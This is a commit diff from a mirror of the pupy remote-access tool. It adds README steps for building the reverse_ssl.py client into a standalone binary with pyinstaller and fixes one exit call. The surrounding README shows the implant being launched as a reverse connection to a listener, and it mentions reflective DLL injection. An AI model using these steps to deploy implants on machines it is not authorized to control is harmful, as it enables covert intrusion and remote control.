mirror of https://github.com/n1nj4sec/pupy.git
small fixes for pyinstaller under linux
This commit is contained in:
parent
56c47e1011
commit
341fa3c373
|
@ -47,12 +47,20 @@ you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/l
|
||||||
pip install rpyc #(or manually copy it if you are not admin)
|
pip install rpyc #(or manually copy it if you are not admin)
|
||||||
python reverse_ssl.py 192.168.0.1:443
|
python reverse_ssl.py 192.168.0.1:443
|
||||||
```
|
```
|
||||||
|
you can also build a single binary with pyinstaller :
|
||||||
|
```bash
|
||||||
|
pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py
|
||||||
|
```
|
||||||
|
|
||||||
#### for MAC OS X
|
#### for MAC OS X
|
||||||
```bash
|
```bash
|
||||||
easy_install rpyc #(or manually copy it if you are not admin)
|
easy_install rpyc #(or manually copy it if you are not admin)
|
||||||
python reverse_ssl.py 192.168.0.1:443
|
python reverse_ssl.py 192.168.0.1:443
|
||||||
```
|
```
|
||||||
|
you can also build a single binary with pyinstaller (but you can't "cross-compile", pyinstaller currently only support this from osx):
|
||||||
|
```bash
|
||||||
|
pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py
|
||||||
|
```
|
||||||
|
|
||||||
### start the server
|
### start the server
|
||||||
1. eventually edit pupy.conf to change the bind address / port
|
1. eventually edit pupy.conf to change the bind address / port
|
||||||
|
|
|
@ -93,7 +93,7 @@ def main():
|
||||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||||
else:
|
else:
|
||||||
if len(sys.argv)!=2:
|
if len(sys.argv)!=2:
|
||||||
exit("usage: %s host:port"%sys.argv[0])
|
sys.exit("usage: %s host:port"%sys.argv[0])
|
||||||
HOST=sys.argv[1]
|
HOST=sys.argv[1]
|
||||||
add_pseudo_pupy_module(HOST)
|
add_pseudo_pupy_module(HOST)
|
||||||
attempt=0
|
attempt=0
|
||||||
|
|
Loading…
Reference in New Issue